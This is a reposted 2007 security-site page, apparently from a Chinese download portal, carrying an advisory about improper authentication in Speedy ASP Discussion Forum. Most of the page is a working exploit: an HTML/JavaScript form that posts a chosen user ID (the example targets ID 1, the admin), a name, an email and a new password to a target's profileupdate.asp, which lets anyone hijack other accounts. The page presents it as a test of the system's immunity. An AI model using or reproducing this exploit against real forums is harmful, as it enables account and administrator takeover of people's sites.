Speedy ASP Forum User Pass Change

| 网站首页 | 模板 | 资料 | 源码 | 工具 | 开发 | 设计 | 安全 | 项目 | 网络 | 图片 | 系统 | 数据库 | 博客 | 会员中心 | 小说 |

网络学院

学习资料

源码模版

您现在的位置：精品下载 >> 安全 >> 网络安全 >> 安全中心正文

用户登录

新用户注册

Speedy ASP Forum User Pass Change

【字体：小大】

Speedy ASP Forum User Pass Change

作者：佚名安全中心来源：不详点击数：更新时间：2007-10-10

Summary
"Speedy Asp Discussion Forum is an Open Source ASP Discussion forum software designed to consume the least amount of server resources and provide super fast performance." Improper authentication allow to any user to change other users details, the following exploit code can be used to test the system's immunity if vulnerability to the problem.

Credit:
The information has been provided by ajann.　

Details
Exploit:

<title>Pass Change</title>
<script language="JavaScript">
//Coded ajann
function islemKontrol(){
　　if(document.InputForm.name.value=="" || document.InputForm.email.value=="" || document.InputForm.id.value=="" || document.InputForm.password.value=="" || document.InputForm.passwordre.value=="" || document.InputForm.country.options.value == 0 || document.InputForm.adres.value=="" ){
　　　　 alert("Alani Bos Biraktiniz")
　　　　 return false
　　}
{
document.InputForm.action= document.InputForm.adres.value
document.InputForm.submit();

return true
}
}
</script>

<body bgcolor="#000000">

<form name = "InputForm" method = "post" onSubmit = 'return islemKontrol()'>
Speedy Forum User Pass Change //
ajannUser Name　　
:　 
<input type="text" name="name" value="" size="20">
 Example: Surname Name 
User Mail　　　　
:　
<input type="text" name="email" value="" size="20">
　 Example:
mail@domain.com 
User İd　　　　　　
:　
<input type="text" name="id" value="" size="20">
　Example: İd:1 Admin 
User Country　:　

<select size="1" name="country">
<option value=0>Choose Country</option>
<option value="Turkey">Turkey</option>
</select> Example: Turkey 



User 
Pass 
　　　
:　

<input type = "text" name="password" value="Password" size="20">
 Example: 123456 

User 
RePass　
:　
<input type = "text" name="passwordre" value="Re Password" size="20">
 Example: 123456 

Form Action　　: 


<input type="text" name="adres" value="profileupdate.asp" size="20">
 Example: http://[target]/[path]/profileupdate.asp



<input type = "submit" name="Submit" value="Change"> 

 

</form>

安全中心录入：chqnet 责任编辑：chqnet

上一个安全中心： phpBazar File Inclusion

下一个安全中心： eDirectory iMonitor Stack Overflow

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关安全中心
				浅谈除不尽理还乱的Spyware间… 服务器如何防范asp木马巧妙配合asp木马取得管理权限小规模DDoS(拒绝服务)用Free… ASP木马Webshell安全解决办案服务器如何防范asp木马入侵基于JSP+Tomcat的Web网站… 温柔的杀手—跨站ASP Script… 黑客知识巧妙配合asp木马取… ASP.net服务器的入侵方法

　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）